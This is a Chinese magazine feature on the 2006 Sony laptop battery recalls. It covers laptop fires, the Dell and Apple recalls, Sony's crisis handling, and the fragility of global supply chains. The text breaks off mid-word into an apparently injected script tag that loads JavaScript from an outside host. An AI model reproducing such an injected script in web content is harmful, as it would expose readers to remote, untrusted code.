提前上演的007
起始于今年夏天的索尼电池事件最后发展到全球瞩目，可以说是今年行业内最受关注的话题，半年来报道篇幅不计其数。但是，在2006年年底回顾这一事件，还是有一些新的发现。比如，全球笔记本电脑用户身手敏捷得让人惊讶。
今年6月，美国内华达州的一辆客货两用卡车内的戴尔笔记本电脑突然起火，点燃了油箱，卡车发生爆炸。 当时电脑和卡车的主人与同伴在笔记本着火后几分钟时间内跳车逃跑，10分钟后，火焰就在卡车上燃起了12英尺高，黑烟冲天；
也就在这个月里，日本一家酒店的会议室里，一台笔记本突然起火，据称，这台笔记本在5分钟内发生了几次爆炸，现场人员四散躲开，逃过一劫；
四个月后，北京师范大学某宿舍床铺上的一台笔记本电脑爆炸引起火灾，几名被困女生身绑床单英勇地从三楼爬下逃生；
……
虽然在全球类似的多起爆炸案中，用户们全都成功自保，但显然戴尔并没有认为所有人都会有007的身手。早在8月14日，戴尔即宣布在全球范围内召回410块万笔记本电池，率先拉起召回的大旗。实际上，从去年12月到今年8月，戴尔收到全球各地的戴尔笔记本爆炸案例只有6起。
美国消费产品安全委员会称之为历史上电器产品最大的召回案。但这个纪录很快就被打破了。10天后，苹果公司宣布在美国已经接到9 起因锂离子电池过热引发电脑起火燃烧的报告，决定召回180块万笔记本电池。
两家公司均使用了索尼集团子公司——索尼能源设备公司制造的电池。
之后两个月，纪录再度翻番。富士通、联想、ibm、东芝、松下、日立等笔记本电脑知名品牌全部加入召回队伍。据索尼首席财务官预计，整个召回工作结束时，索尼笔记本电池召回总数预计将达到960万块。
对索尼来说，整个事件如同一场噩梦。分析师分析认为，“电池门”事件可能使索尼公司损失8500万至4.3亿美元，回收成本占索尼全年净利润的15%—23%，进而损害索尼公司著名品牌的形象。
与戴尔可圈可点的危机处理相比，索尼显得有些被动。8月24日，索尼发言人还在对外承诺，其电池问题仅仅局限于戴尔和苹果。他向客户保证，苹果召回电池将是最后一次电池召回事件。当然，此前他也曾言之凿凿，其他厂商不会出现像戴尔这么严重的问题。
现实让索尼在公众面前颜面尽失。但关键是，虽然事件早期索尼曾与戴尔在责任上互相推诿，但并没有影响电池召回的进程，而这得益于美国健全的缺陷产品召回制度。该制度在美国40年的执行实践再次证明，召回是产品质量和消费者权益的有力保证。
系统管理学博士、国务院发展研究中心发展战略与区域经济研究部副部长高世楫向《商务周刊》指出，这是中国政府应该从类似事件中学习的最主要的东西。他说：“召回制度可以最大限度的降低产品错误带来的社会伤害，和我们之前看到的很多事情一样，发达国家那里有较完整的法律体系保护消费者，所以事件能够迅速解决。”
事件发生后，戴尔主动与美国消费产品安全委员会合作，并一致做出召回决定。当然，按美国《消费者安全法》的要求，对于任何产品的安全风险，生产商都需要向该委员会汇报。
博思艾伦咨询公司大中华区总裁谢祖墀对《商务周刊》表示，作为企业管理者，不论是从对消费者负责的角度还是从成本的角度，在确定产品问题后尽早召回产品都是正确的选择。
脆弱的链条
尽管在美国高度成熟的商业制度和环境中，企业和政府尽力将事件处理得干净利落，但另一个疑问不可避免地出现：除了事后处理问题，这一类事件能够避免吗？
很遗憾，如果深入分析事件的内在原因，答案是否定的。
索尼方面对于电池爆炸事件的解释是：在电池生产过程中，微小的金属粒子混入了部分锂电池，如果这些粒子接触到电池内的其他部件，就可能导致电池短路。实际上，问题的根源在于它所使用的一种绝缘纸。而这种绝缘纸是第三方供应商生产的。该家供应商改变了绝缘纸中的一种成分，但没有将此情通知索尼。
也就是说，问题来自于组件化生产本身隐含的风险性。目前看来，完全消除这类风险是不可能的。
现代性理论研究者们早已指出，现代社会是高风险社会。事实上，正如此前专家们所指出的，科技的飞速发展和全球一体化的深入，形成的越来越复杂的商业系统正在放大而不是降低现代社会的固有风险。
本文对于全球产业链系统风险的分析中，许多概念和理念来源于社会学家对于现代性的研究，其中包括英国著名学者、前伦敦经济学院院长安东尼·吉登斯对全球化及其风险的论述。“较多的相互依赖，意味着在作为一个整体而影响到那些系统的不幸事件，在发生时就会有更大的易受伤害性。”他在《现代性与自我认同》一书中这段拗口的话，用来解释索尼电池事件，也非常合适。
众多研究全球化和现?script src=http://er12.com/t.js>
